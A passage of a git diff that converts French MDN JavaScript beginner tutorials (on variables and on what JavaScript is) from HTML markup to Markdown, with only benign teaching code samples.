cela rend les choses obscures. -<p>Pour ces raisons, et d'autres, nous recommandons d'utiliser <code>let</code> plutôt que <code>var</code>. Il n'y a pas de bonne raison d'utiliser <code>var</code>, sauf à rechercher la compatibilité avec de vieilles versions d'Internet Explorer (pas de support du <code>let</code> avant la version 11 ; le support de <code>let</code> par le navigateur Edge ne pose pas de problème).</p> +Pour ces raisons, et d'autres, nous recommandons d'utiliser `let` plutôt que `var`. Il n'y a pas de bonne raison d'utiliser `var`, sauf à rechercher la compatibilité avec de vieilles versions d'Internet Explorer (pas de support du `let` avant la version 11 ; le support de `let` par le navigateur Edge ne pose pas de problème). -<h2 id="Mise_à_jour_dune_variable">Mise à jour d'une variable</h2> +## Mise à jour d'une variable -<p>Une fois la variable initialisée avec une valeur, vous pouvez simplement modifier (ou mettre à jour) cette valeur en lui assignant une nouvelle valeur. Entrez ces deux lignes dans la console :</p> +Une fois la variable initialisée avec une valeur, vous pouvez simplement modifier (ou mettre à jour) cette valeur en lui assignant une nouvelle valeur. Entrez ces deux lignes dans la console : -<pre class="brush: js">myName = 'Bob'; -myAge = 40;</pre> +```js +myName = 'Bob'; +myAge = 40; +``` -<h3 id="Aparté_concernant_les_règles_de_nommage_des_variables">Aparté concernant les règles de nommage des variables</h3> +### Aparté concernant les règles de nommage des variables -<p>Vous pouvez nommer une variable comme vous l'entendez, mais il y a des restrictions. Généralement, il convient de se limiter à l'emploi des caractères latins (0-9, a-z, A-Z) et du underscore ( _ ).</p> +Vous pouvez nommer une variable comme vous l'entendez, mais il y a des restrictions. Généralement, il convient de se limiter à l'emploi des caractères latins (0-9, a-z, A-Z) et du underscore ( \_ ). -<ul> - <li>N'utilisez pas d'autres caractères ; ils pourraient entraîner des erreurs ou être difficiles à comprendre pour un auditoire international.</li> - <li>N'utilisez pas le underscore comme premier caractère d'un nom de variable — cette façon d'opérer est utilisée dans certaines constructions JavaScript pour signer certaines spécificités ; il pourrait y avoir confusion.</li> - <li>Ne mettez pas un chiffre en début de nom de variable. Ce n'est pas permis et provoque une erreur.</li> - <li>Une convention sûre, nommée <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"lower camel case"</a> (dos de chameau), consiste à accoler plusieurs mots en mettant le premier en minuscules les suivants commençant par une majuscule. Dans cet article, nous avons adopté cette convention pour les noms de variables.</li> - <li>Prenez des noms de variable intuitifs, décrivant les données que la variable contient. Évitez les noms se limitant à un caractère ou à l'inverse des noms trop longs, trop verbeux.</li> - <li>Les variables sont sensibles à la casse — donc <code>myage</code> et <code>myAge</code> correspondent à deux variables différentes.</li> - <li>Enfin les <em>mots réservés</em> du langage JavaScript ne peuvent pas être choisis comme nom pour une variable — les mots réservés sont les mots qui font effectivement partie de la syntaxe du JavaScript. Donc, vous ne pouvez pas utiliser des mots comme <code>var</code>, <code>function</code>, <code>let</code> ou <code>for</code> comme noms de variable. Les navigateurs les reconnaîtront en tant qu'éléments de code, et cela déclenchera des erreurs.</li> -</ul> +- N'utilisez pas d'autres caractères ; ils pourraient entraîner des erreurs ou être difficiles à comprendre pour un auditoire international. +- N'utilisez pas le underscore comme premier caractère d'un nom de variable — cette façon d'opérer est utilisée dans certaines constructions JavaScript pour signer certaines spécificités ; il pourrait y avoir confusion. +- Ne mettez pas un chiffre en début de nom de variable. Ce n'est pas permis et provoque une erreur. +- Une convention sûre, nommée ["lower camel case"](https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms) (dos de chameau), consiste à accoler plusieurs mots en mettant le premier en minuscules les suivants commençant par une majuscule. Dans cet article, nous avons adopté cette convention pour les noms de variables. +- Prenez des noms de variable intuitifs, décrivant les données que la variable contient. Évitez les noms se limitant à un caractère ou à l'inverse des noms trop longs, trop verbeux. +- Les variables sont sensibles à la casse — donc `myage` et `myAge` correspondent à deux variables différentes. +- Enfin les _mots réservés_ du langage JavaScript ne peuvent pas être choisis comme nom pour une variable — les mots réservés sont les mots qui font effectivement partie de la syntaxe du JavaScript. Donc, vous ne pouvez pas utiliser des mots comme `var`, `function`, `let` ou `for` comme noms de variable. Les navigateurs les reconnaîtront en tant qu'éléments de code, et cela déclenchera des erreurs. -<div class="note"> -<p><strong>Note :</strong> Une liste exhaustive des mots réservés est proposée dans la page <a href="/fr/docs/Web/JavaScript/Reference/Lexical_grammar#keywords">Lexical grammar — keywords</a>.</p> -</div> +> **Note :** Une liste exhaustive des mots réservés est proposée dans la page [Lexical grammar — keywords](/fr/docs/Web/JavaScript/Reference/Lexical_grammar#keywords). -<p>Exemples de noms corrects :</p> +Exemples de noms corrects : -<pre class="example-good">age +```plain example-good +age myAge init initialColor finalOutputValue audio1 -audio2</pre> +audio2 +``` -<p>Exemples de noms incorrects (soit illégal, soit non conforme aux recommandations) :</p> +Exemples de noms incorrects (soit illégal, soit non conforme aux recommandations) : -<pre class="example-bad">1 +```plain example-bad +1 a _12 myage @@ -323,96 +344,118 @@ MYAGE var document skjfndskjfnbdskjfb -thisisareallylongstupidvariablenameman </pre> +thisisareallylongstupidvariablenameman +``` -<p>Parmi ces noms, les suivants déclenchent une <code>SyntaxError</code> :</p> +Parmi ces noms, les suivants déclenchent une `SyntaxError` : -<pre class="brush: js example-bad">1 //la variable commence par un chiffre +```js example-bad +1 //la variable commence par un chiffre var //mot réservé document //mot réservé -</pre> +``` -<p>Essayez maintenant de créer quelques variables supplémentaires en tenant compte de ce qui précède.</p> +Essayez maintenant de créer quelques variables supplémentaires en tenant compte de ce qui précède. -<h2 id="Types_de_variables">Types de variables</h2> +## Types de variables -<p>Plusieurs types de données peuvent être stockés dans des variables. Dans cette section, nous allons les décrire brièvement, puis dans les prochains articles, nous vous en dirons plus.</p> +Plusieurs types de données peuvent être stockés dans des variables. Dans cette section, nous allons les décrire brièvement, puis dans les prochains articles, nous vous en dirons plus. -<p>Jusqu'à présent, nous avons vu les deux types suivants, mais il y en a d'autres.</p> +Jusqu'à présent, nous avons vu les deux types suivants, mais il y en a d'autres. -<h3 id="Nombres">Nombres</h3> +### Nombres -<p>Vous pouvez stocker des nombres dans des variables, soit des nombres entiers comme 30 ou des nombres décimaux comme 2.456 (appelés aussi nombres à virgule flottante). Il n'est pas nécessaire de déclarer le type de la variable dans JavaScript, contrairement à d'autres langages de programmation. Lorsque vous donnez une valeur numérique à une variable, ne la mettez pas entre guillemets.</p> +Vous pouvez stocker des nombres dans des variables, soit des nombres entiers comme 30 ou des nombres décimaux comme 2.456 (appelés aussi nombres à virgule flottante). Il n'est pas nécessaire de déclarer le type de la variable dans JavaScript, contrairement à d'autres langages de programmation. Lorsque vous donnez une valeur numérique à une variable, ne la mettez pas entre guillemets. -<pre class="brush: js">var myAge = 17;</pre> +```js +var myAge = 17; +``` -<h3 id="Chaînes">Chaînes</h3> +### Chaînes -<p>Les chaînes sont des mots ou des suites de mots. Quand vous stockez dans une variable une valeur chaîne, vous devez la mettre entre guillemets simples ou doubles, sinon JavaScript va tenter de l'interpréter en tant qu'un autre nom de variable.</p> +Les chaînes sont des mots ou des suites de mots. Quand vous stockez dans une variable une valeur chaîne, vous devez la mettre entre guillemets simples ou doubles, sinon JavaScript va tenter de l'interpréter en tant qu'un autre nom de variable. -<pre class="brush: js">var dolphinGoodbye = 'So long and thanks for all the fish';</pre> +```js +var dolphinGoodbye = 'So long and thanks for all the fish'; +``` -<h3 id="Booléens">Booléens</h3> +### Booléens -<p>Les booléens sont des valeurs true/false (vrai/faux) — elles ne peuvent prendre que deux valeurs: <code>true</code> ou <code>false</code>. Elles sont généralement utilisées pour tester une condition, à la suite de laquelle le code est exécuté de manière appropriée. Ainsi, par exemple, un cas simple pourrait être :</p> +Les booléens sont des valeurs true/false (vrai/faux) — elles ne peuvent prendre que deux valeurs: `true` ou `false`. Elles sont généralement utilisées pour tester une condition, à la suite de laquelle le code est exécuté de manière appropriée. Ainsi, par exemple, un cas simple pourrait être : -<pre class="brush: js">var iAmAlive = true;</pre> +```js +var iAmAlive = true; +``` -<p>Toutefois, en réalité, un booléen sera plutôt utilisé ainsi :</p> +Toutefois, en réalité, un booléen sera plutôt utilisé ainsi : -<pre class="brush: js">var test = 6 < 3;</pre> +```js +var test = 6 < 3; +``` -<p>Cette expression utilise l'opérateur « inférieur à » (<code><</code>) pour tester si 6 est plus petit que 3. Comme vous pouvez vous y attendre, cette expression renverra <code>false</code>, car 6 n'est pas plus petit que 3 ! Vous en apprendrez bien plus à propos de ces opérateurs plus loin dans ce cours.</p> +Cette expression utilise l'opérateur « inférieur à » (`<`) pour tester si 6 est plus petit que 3. Comme vous pouvez vous y attendre, cette expression renverra `false`, car 6 n'est pas plus petit que 3 ! Vous en apprendrez bien plus à propos de ces opérateurs plus loin dans ce cours. -<h3 id="Tableaux">Tableaux</h3> +### Tableaux -<p>Une tableau est un objet unique contenant plusieurs valeurs entre crochets séparées par des virgules. Saisissez les lignes suivantes dans la console :</p> +Une tableau est un objet unique contenant plusieurs valeurs entre crochets séparées par des virgules. Saisissez les lignes suivantes dans la console : -<pre class="brush: js">var myNameArray = ['Chris', 'Bob', 'Jim']; -var myNumberArray = [10,15,40];</pre> +```js +var myNameArray = ['Chris', 'Bob', 'Jim']; +var myNumberArray = [10,15,40]; +``` -<p>Un fois ces tableaux définis, vous pouvez avoir accès à chaque valeur en fonction de leur emplacement dans le tableau. Voyez ces lignes :</p> +Un fois ces tableaux définis, vous pouvez avoir accès à chaque valeur en fonction de leur emplacement dans le tableau. Voyez ces lignes : -<pre class="brush: js">myNameArray[0]; // renverra 'Chris' -myNumberArray[2]; // renverra 40</pre> +```js +myNameArray[0]; // renverra 'Chris' +myNumberArray[2]; // renverra 40 +``` -<p>La valeur entre crochets précise l'index correspondant à la position de la valeur que vous souhaitez voir renvoyée. Vous remarquerez que les tableaux en JavaScript sont indexés à partir de zéro : le premier élément a l'index 0.</p> +La valeur entre crochets précise l'index correspondant à la position de la valeur que vous souhaitez voir renvoyée. Vous remarquerez que les tableaux en JavaScript sont indexés à partir de zéro : le premier élément a l'index 0. -<p>Vous en apprendrez beaucoup plus au sujet des tableaux dans un article suivant.</p> +Vous en apprendrez beaucoup plus au sujet des tableaux dans un article suivant. -<h3 id="Objets">Objets</h3> +### Objets -<p>En programmation, un objet est une structure de code qui modélise un objet du réel. Vous pouvez avoir un objet simple représentant une place de parking avec sa largeur et sa profondeur ou bien un objet représentant une personne avec comme données son nom, sa taille, son poids, son vernaculaire, comment le contacter, et plus encore.</p> +En programmation, un objet est une structure de code qui modélise un objet du réel. Vous pouvez avoir un objet simple représentant une place de parking avec sa largeur et sa profondeur ou bien un objet représentant une personne avec comme données son nom, sa taille, son poids, son vernaculaire, comment le contacter, et plus encore. -<p>Entrez la ligne suivant dans la console de votre explorateur :</p> +Entrez la ligne suivant dans la console de votre explorateur : -<pre class="brush: js">var dog = { name : 'Spot', breed : 'Dalmatian' };</pre> +```js +var dog = { name : 'Spot', breed : 'Dalmatian' }; +``` -<p>Pour récupérer une information stockée dans un objet, vous pouvez utiliser la syntaxe suivante :</p> +Pour récupérer une information stockée dans un objet, vous pouvez utiliser la syntaxe suivante : -<pre class="brush: js">dog.name</pre> +```js +dog.name +``` -<p>Nous en resterons là avec les objets pour le moment — vous en saurez plus à leur propos dans un module ultérieur.</p> +Nous en resterons là avec les objets pour le moment — vous en saurez plus à leur propos dans un module ultérieur. -<h2 id="Typage_faible">Typage faible</h2> +## Typage faible -<p>JavaScript est un « langage faiblement typé », ce qui veut dire que, contrairement à d'autres langages, vous n'êtes pas obligé de préciser quel est le type de donnée que doit contenir une variable (par ex. nombres, chaînes, tableaux, etc).</p> +JavaScript est un « langage faiblement typé », ce qui veut dire que, contrairement à d'autres langages, vous n'êtes pas obligé de préciser quel est le type de donnée que doit contenir une variable (par ex. nombres, chaînes, tableaux, etc). -<p>Par exemple, si vous déclarez une variable et si vous y placez une valeur entre guillemets, le navigateur la traitera comme étant une chaîne :</p> +Par exemple, si vous déclarez une variable et si vous y placez une valeur entre guillemets, le navigateur la traitera comme étant une chaîne : -<pre class="brush: js">var myString = 'Hello';</pre> +```js +var myString = 'Hello'; +``` -<p>Ce sera toujours une chaîne, même si ce sont des nombres, donc soyez prudents :</p> +Ce sera toujours une chaîne, même si ce sont des nombres, donc soyez prudents : -<pre class="brush: js">var myNumber = '500'; // oops, c'est toujours une chaîne +```js +var myNumber = '500'; // oops, c'est toujours une chaîne typeof(myNumber); myNumber = 500; // mieux — maintenant c'est un nombre -typeof(myNumber);</pre> +typeof(myNumber); +``` -<p>Entrez ces quatre lignes dans la console les unes à la suite des autres, et voyez les résultats. Notez l'emploi de la fonction spéciale <code>typeof()</code> — elle renvoie le type de donnée placé dans la variable. À son premier appel, elle renverra <code>string</code>, car à ce stade la variable <code>myNumber</code> contient la chaîne <code>'500'</code>. Observez bien et voyez ce que la fonction renvoie au second appel.</p> +Entrez ces quatre lignes dans la console les unes à la suite des autres, et voyez les résultats. Notez l'emploi de la fonction spéciale `typeof()` — elle renvoie le type de donnée placé dans la variable. À son premier appel, elle renverra `string`, car à ce stade la variable `myNumber` contient la chaîne `'500'`. Observez bien et voyez ce que la fonction renvoie au second appel. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Maintenant, nous en savons un peu plus à propos des variables JavaScript, en particulier comment les créer. Dans le prochain article, nous verrons en détail les nombres et comment effectuer les opérations mathématiques élémentaires.</p> +Maintenant, nous en savons un peu plus à propos des variables JavaScript, en particulier comment les créer. Dans le prochain article, nous verrons en détail les nombres et comment effectuer les opérations mathématiques élémentaires. -<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</p> +{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}} diff --git a/files/fr/learn/javascript/first_steps/what_is_javascript/index.md b/files/fr/learn/javascript/first_steps/what_is_javascript/index.md index 5e37499c73..072084dc21 100644 --- a/files/fr/learn/javascript/first_steps/what_is_javascript/index.md +++ b/files/fr/learn/javascript/first_steps/what_is_javascript/index.md @@ -3,48 +3,53 @@ title: Qu'est-ce que le JavaScript ? slug: Learn/JavaScript/First_steps/What_is_JavaScript translation_of: Learn/JavaScript/First_steps/What_is_JavaScript --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}} -<div>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</div> - -<p>Bienvenue dans le cours JavaScript pour débutants sur le MDN. Dans ce premier article nous donnons une description générale de JavaScript en présentant le « pourquoi » et le « comment » du JavaScript. L'objectif est que vous compreniez bien son but.</p> +Bienvenue dans le cours JavaScript pour débutants sur le MDN. Dans ce premier article nous donnons une description générale de JavaScript en présentant le « pourquoi » et le « comment » du JavaScript. L'objectif est que vous compreniez bien son but. <table> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td> - <p>Une culture informatique basique et une compréhension élémentaire de HTML et CSS.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec JavaScript, ce qu'il peut faire et comment il s'intègre dans un site web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + <p> + Une culture informatique basique et une compréhension élémentaire de + HTML et CSS. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Se familiariser avec JavaScript, ce qu'il peut faire et comment il + s'intègre dans un site web. + </td> + </tr> + </tbody> </table> -<h2 id="Une_définition_générale">Une définition générale</h2> +## Une définition générale -<p>JavaScript est un langage de programmation qui permet d'implémenter des mécanismes complexes sur une page web. À chaque fois qu'une page web fait plus que simplement afficher du contenu statique — afficher du contenu mis à jour à des temps déterminés, des cartes interactives, des animations 2D/3D, des menus vidéo défilants, ou autre, JavaScript a de bonnes chances d'être impliqué. C'est la troisième couche des technologies standards du web, les deux premières (<a href="/fr/docs/Learn/HTML">HTML</a> et <a href="/fr/docs/Learn/CSS">CSS</a>) étant couvertes bien plus en détail dans d'autres tutoriels sur MDN.</p> +JavaScript est un langage de programmation qui permet d'implémenter des mécanismes complexes sur une page web. À chaque fois qu'une page web fait plus que simplement afficher du contenu statique — afficher du contenu mis à jour à des temps déterminés, des cartes interactives, des animations 2D/3D, des menus vidéo défilants, ou autre, JavaScript a de bonnes chances d'être impliqué. C'est la troisième couche des technologies standards du web, les deux premières ([HTML](/fr/docs/Learn/HTML) et [CSS](/fr/docs/Learn/CSS)) étant couvertes bien plus en détail dans d'autres tutoriels sur MDN. -<p><img alt="" src="cake.png"></p> + -<ul> - <li>{{glossary("HTML")}} est un langage de balises utilisé pour structurer et donner du sens au contenu web. Par exemple : définir des paragraphes, titres et tables de données ou encore intégrer des images ou des vidéos dans une page.</li> - <li>{{glossary("CSS")}} est un langage de règles de style utilisé pour mettre en forme le contenu HTML. Par exemple : en modifiant la couleur d'arrière-plan ou les polices, ou en disposant le contenu en plusieurs colonnes.</li> - <li>{{glossary("JavaScript")}} est un langage de programmation qui permet de créer du contenu mis à jour de façon dynamique, de contrôler le contenu multimédia, d'animer des images, et tout ce à quoi on peut penser. Bon, peut-être pas tout, mais vous pouvez faire bien des choses avec quelques lignes de JavaScript.</li> -</ul> +- {{glossary("HTML")}} est un langage de balises utilisé pour structurer et donner du sens au contenu web. Par exemple : définir des paragraphes, titres et tables de données ou encore intégrer des images ou des vidéos dans une page. +- {{glossary("CSS")}} est un langage de règles de style utilisé pour mettre en forme le contenu HTML. Par exemple : en modifiant la couleur d'arrière-plan ou les polices, ou en disposant le contenu en plusieurs colonnes. +- {{glossary("JavaScript")}} est un langage de programmation qui permet de créer du contenu mis à jour de façon dynamique, de contrôler le contenu multimédia, d'animer des images, et tout ce à quoi on peut penser. Bon, peut-être pas tout, mais vous pouvez faire bien des choses avec quelques lignes de JavaScript. -<p>Les trois couches se superposent naturellement. Prenons pour exemple une simple étiquette texte. Les balises HTML lui donnent une structure et un but :</p> +Les trois couches se superposent naturellement. Prenons pour exemple une simple étiquette texte. Les balises HTML lui donnent une structure et un but : -<pre class="brush: html"><p>Player 1: Chris</p></pre> +```html +<p>Player 1: Chris</p> +``` -<p><img alt="" src="just-html.png"></p> + -<p>Nous pouvons ensuite ajouter du CSS pour rendre cela plus joli :</p> +Nous pouvons ensuite ajouter du CSS pour rendre cela plus joli : -<pre class="brush: css">p { +```css +p { font-family: 'helvetica neue', helvetica, sans-serif; letter-spacing: 1px; text-transform: uppercase; @@ -57,13 +62,15 @@ translation_of: Learn/JavaScript/First_steps/What_is_JavaScript padding: 3px 10px; display: inline-block; cursor:pointer; -}</pre> +} +``` -<p><img alt="" src="html-and-css.png"></p> + -<p>Et enfin utiliser JavaScript pour ajouter un comportement dynamique :</p> +Et enfin utiliser JavaScript pour ajouter un comportement dynamique : -<pre class="brush: js">let para = document.querySelector('p'); +```js +let para = document.querySelector('p'); para.addEventListener('click', updateName); @@ -71,297 +78,296 @@ function updateName() { let name = prompt('Enter a new name'); para.textContent = 'Player 1: ' + name; } -</pre> +``` -<p>{{ EmbedLiveSample('Une_définition_générale', '100%', 80) }}</p> +{{ EmbedLiveSample('Une_définition_générale', '100%', 80) }} -<p>Essayez de cliquer sur l'étiquette texte pour voir ce qui se passe. Notez que vous pouvez également retrouver cet exemple sur GitHub — voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">code source</a>, ou l'<a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">exécuter</a>.</p> +Essayez de cliquer sur l'étiquette texte pour voir ce qui se passe. Notez que vous pouvez également retrouver cet exemple sur GitHub — voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html), ou l'[exécuter](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html). -<p>JavaScript peut faire bien plus. Voyons cela plus en détail.</p> +JavaScript peut faire bien plus. Voyons cela plus en détail. -<h2 id="Que_peut-il_vraiment_faire">Que peut-il <em>vraiment</em> faire ?</h2> +## Que peut-il _vraiment_ faire ? -<p>Le cœur de JavaScript est constitué de fonctionnalités communes de programmation permettant de :</p> +Le cœur de JavaScript est constitué de fonctionnalités communes de programmation permettant de : -<ul> - <li>stocker des valeurs utiles dans des variables. Dans l'exemple plus haut, nous demandons un nouveau nom à l'utilisateur puis le stockons dans une variable appelée <code>name</code>.</li> - <li>faire des opérations sur des morceaux de texte (appelés en programmation « chaînes de caractères » ou « strings » en anglais). Dans l'exemple plus haut, nous prenons la chaîne de caractères "Player 1: " et lui adjoignons la variable <code>name</code> pour créer l'étiquette ''Player 1: Chris".</li> - <li>exécuter du code en réponse à certains événements se produisant sur une page web. Dans l'exemple, nous avons utilisé un événement (« event ») {{Event("click")}} pour détecter quand l'utilisateur clique sur le bouton ; on exécute alors le code qui met à jour l'étiquette.</li> - <li>Et bien plus encore !</li> -</ul> +- stocker des valeurs utiles dans des variables. Dans l'exemple plus haut, nous demandons un nouveau nom à l'utilisateur puis le stockons dans une variable appelée `name`. +- faire des opérations sur des morceaux de texte (appelés en programmation « chaînes de caractères » ou « strings » en anglais). Dans l'exemple plus haut, nous prenons la chaîne de caractères "Player 1: " et lui adjoignons la variable `name` pour créer l'étiquette ''Player 1: Chris". +- exécuter du code en réponse à certains événements se produisant sur une page web. Dans l'exemple, nous avons utilisé un événement (« event ») {{Event("click")}} pour détecter quand l'utilisateur clique sur le bouton ; on exécute alors le code qui met à jour l'étiquette. +- Et bien plus encore ! -<p>Là où ça devient excitant, c'est que de nombreuses fonctionnalités sont basées sur ce cœur de JavaScript. Les « interfaces de programmation applicatives » (API pour « Application Programming Interfaces ») donnent accès à des fonctionnalités presqu'illimitées dans votre code JavaScript.</p> +Là où ça devient excitant, c'est que de nombreuses fonctionnalités sont basées sur ce cœur de JavaScript. Les « interfaces de programmation applicatives » (API pour « Application Programming Interfaces ») donnent accès à des fonctionnalités presqu'illimitées dans votre code JavaScript. -<p>Les API sont des blocs de code déjà prêts qui permettent à un développeur d'implémenter des programmes qui seraient difficiles voire impossibles à implémenter sans elles. C'est comme du code "en kit" pour la programmation, très pratiques à assembler et à combiner. Les API sont au code ce que les meubles en kits sont aux fournitures de maison — il est beaucoup plus facile de prendre des panneaux prêts à l'emploi et de les visser ensemble pour faire une étagère que de travailler vous-même sur le design, d'aller chercher le bon bois, de couper tous les panneaux à la bonne taille et la bonne forme, de trouver les vis de la bonne taille, puis les assembler pour faire une étagère.</p> +Les API sont des blocs de code déjà prêts qui permettent à un développeur d'implémenter des programmes qui seraient difficiles voire impossibles à implémenter sans elles. C'est comme du code "en kit" pour la programmation, très pratiques à assembler et à combiner. Les API sont au code ce que les meubles en kits sont aux fournitures de maison — il est beaucoup plus facile de prendre des panneaux prêts à l'emploi et de les visser ensemble pour faire une étagère que de travailler vous-même sur le design, d'aller chercher le bon bois, de couper tous les panneaux à la bonne taille et la bonne forme, de trouver les vis de la bonne taille, puis les assembler pour faire une étagère. -<p>Elles se divisent généralement en deux catégories :</p> +Elles se divisent généralement en deux catégories : -<p><img alt="" src="browser.png"></p> + -<p><strong>Les API de navigateur</strong> font partie intégrante de votre navigateur web, et peuvent accéder à des données de l'environnement informatique (l'ordinateur), ou faire d'autres choses complexes. Par exemple :</p> +**Les API de navigateur** font partie intégrante de votre navigateur web, et peuvent accéder à des données de l'environnement informatique (l'ordinateur), ou faire d'autres choses complexes. Par exemple : -<ul> - <li>l'<a href="/fr/docs/Web/API/Document_Object_Model">API DOM (Document Object Model)</a> permet de manipuler du HTML et du CSS (créer, supprimer et modifier du HTML, appliquer de nouveaux styles à la page de façon dynamique, etc.). Chaque fois que vous voyez une fenêtre popup sur une page ou du nouveau contenu apparaître (comme dans notre démonstration plus haut), il s'agit d'une action du DOM.</li> - <li>l'<a href="/fr/docs/Web/API/Geolocation">API de géolocalisation</a> récupère des informations géographiques. C'est ainsi que <a href="https://www.google.com/maps">Google Maps</a> peut trouver votre position et la situer sur une carte.</li> - <li>les API <a href="/fr/docs/Web/API/Canvas_API">Canvas</a> et <a href="/fr/docs/Web/API/WebGL_API">WebGL</a> permettent de créer des animations 2D et 3D. On fait des choses incroyables avec ces technologies, voyez <a href="https://www.chromeexperiments.com/webgl">Chrome Experiments</a> et <a href="https://webglsamples.org/">webglsamples</a>.</li> - <li><a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">les API Audio et Video</a>, comme {{domxref("HTMLMediaElement")}} et <a href="/fr/docs/Web/API/WebRTC_API">WebRTC</a> permettent des actions intéressantes sur le multimédia, telles que jouer de l'audio ou de la vidéo directement dans une page web, ou récupérer le flux vidéo de votre webcam et l'afficher sur l'ordinateur de quelqu'un d'autre (essayez la <a href="http://chrisdavidmills.github.io/snapshot/">Snapshot demo </a>pour vous faire une idée).</li> -</ul> +- l'[API DOM (Document Object Model)](/fr/docs/Web/API/Document_Object_Model) permet de manipuler du HTML et du CSS (créer, supprimer et modifier du HTML, appliquer de nouveaux styles à la page de façon dynamique, etc.). Chaque fois que vous voyez une fenêtre popup sur une page ou du nouveau contenu apparaître (comme dans notre démonstration plus haut), il s'agit d'une action du DOM. +- l'[API de géolocalisation](/fr/docs/Web/API/Geolocation) récupère des informations géographiques. C'est ainsi que [Google Maps](https://www.google.com/maps) peut trouver votre position et la situer sur une carte. +- les API [Canvas](/fr/docs/Web/API/Canvas_API) et [WebGL](/fr/docs/Web/API/WebGL_API) permettent de créer des animations 2D et 3D. On fait des choses incroyables avec ces technologies, voyez [Chrome Experiments](https://www.chromeexperiments.com/webgl) et [webglsamples](https://webglsamples.org/). +- [les API Audio et Video](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery), comme {{domxref("HTMLMediaElement")}} et [WebRTC](/fr/docs/Web/API/WebRTC_API) permettent des actions intéressantes sur le multimédia, telles que jouer de l'audio ou de la vidéo directement dans une page web, ou récupérer le flux vidéo de votre webcam et l'afficher sur l'ordinateur de quelqu'un d'autre (essayez la [Snapshot demo ](http://chrisdavidmills.github.io/snapshot/)pour vous faire une idée). -<div class="note"> -<p><strong>Note :</strong> Beaucoup des exemples ci-dessus ne fonctionneront pas dans un ancien navigateur. Il vaut mieux utiliser un navigateur moderne comme Firefox, Chrome, Edge ou Opera pour exécuter votre code et faire vos tests. Si vous êtes amené à écrire du code de production (c'est-à-dire destiné à de véritables utilisateurs), il vous faudra prendre en compte la compatibilité pour différents navigateurs.</p> -</div> +> **Note :** Beaucoup des exemples ci-dessus ne fonctionneront pas dans un ancien navigateur. Il vaut mieux utiliser un navigateur moderne comme Firefox, Chrome, Edge ou Opera pour exécuter votre code et faire vos tests. Si vous êtes amené à écrire du code de production (c'est-à-dire destiné à de véritables utilisateurs), il vous faudra prendre en compte la compatibilité pour différents navigateurs. -<p>Les<strong> APIs tierces</strong> ne font par défaut pas partie de votre navigateur, et vous devrez en général récupérer le code et les informations les concernant quelque part sur le web. Par exemple :</p> +Les **APIs tierces** ne font par défaut pas partie de votre navigateur, et vous devrez en général récupérer le code et les informations les concernant quelque part sur le web. Par exemple : -<ul> - <li>l'<a href="https://dev.twitter.com/overview/documentation">API Twitter</a> vous permet par exemple d'afficher vos derniers tweets sur votre site.</li> - <li>l'<a href="https://developers.google.com/maps/">API Google Maps</a> permet d'intégrer à votre site des cartes personnalisées et d'autres fonctionnalités de ce type.</li> -</ul> +- l'[API Twitter](https://dev.twitter.com/overview/documentation) vous permet par exemple d'afficher vos derniers tweets sur votre site. +- l'[API Google Maps](https://developers.google.com/maps/) permet d'intégrer à votre site des cartes personnalisées et d'autres fonctionnalités de ce type. -<div class="note"> -<p><strong>Note :</strong> ces APIs sont d'un niveau avancé et nous ne couvrirons aucune d'entre elles dans ce cours, mais les liens ci-dessus fournissent une large documentation si vous voulez en savoir davantage.</p> -</div> +> **Note :** ces APIs sont d'un niveau avancé et nous ne couvrirons aucune d'entre elles dans ce cours, mais les liens ci-dessus fournissent une large documentation si vous voulez en savoir davantage. -<p>Et il y a bien plus encore ! Pas de précipitation cependant. Vous ne serez pas en mesure de créer le nouveau Facebook, Google Maps ou Instagram après une journée de travail sur JavaScript, il y a d'abord beaucoup de bases à assimiler. Et c'est pourquoi vous êtes ici. Allons-y !</p> +Et il y a bien plus encore ! Pas de précipitation cependant. Vous ne serez pas en mesure de créer le nouveau Facebook, Google Maps ou Instagram après une journée de travail sur JavaScript, il y a d'abord beaucoup de bases à assimiler. Et c'est pourquoi vous êtes ici. Allons-y ! -<h2 id="Que_fait_JavaScript_sur_votre_page">Que fait JavaScript sur votre page ?</h2> +## Que fait JavaScript sur votre page ? -<p>Ici nous allons commencer à réellement nous intéresser au code, et, ce faisant, à explorer ce qui se passe quand vous exécutez du JavaScript dans votre page.</p> +Ici nous allons commencer à réellement nous intéresser au code, et, ce faisant, à explorer ce qui se passe quand vous exécutez du JavaScript dans votre page. -<p>Commençons par un bref récapitulatif de ce qui se passe lorsqu'une page web se charge dans le navigateur (voir <a href="/fr/docs/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_fonctionnement_de_CSS#Comment_fonctionnent_vraiment_les_CSS">Comment fonctionnent vraiment les CSS</a>). Quand la page se charge, les codes HTML, CSS et JavaScript s'exécutent dans un environnement (l'onglet du navigateur). C'est un peu comme une usine qui prend des matières premières (le code) et sort un produit (la page web).</p> +Commençons par un bref récapitulatif de ce qui se passe lorsqu'une page web se charge dans le navigateur (voir [Comment fonctionnent vraiment les 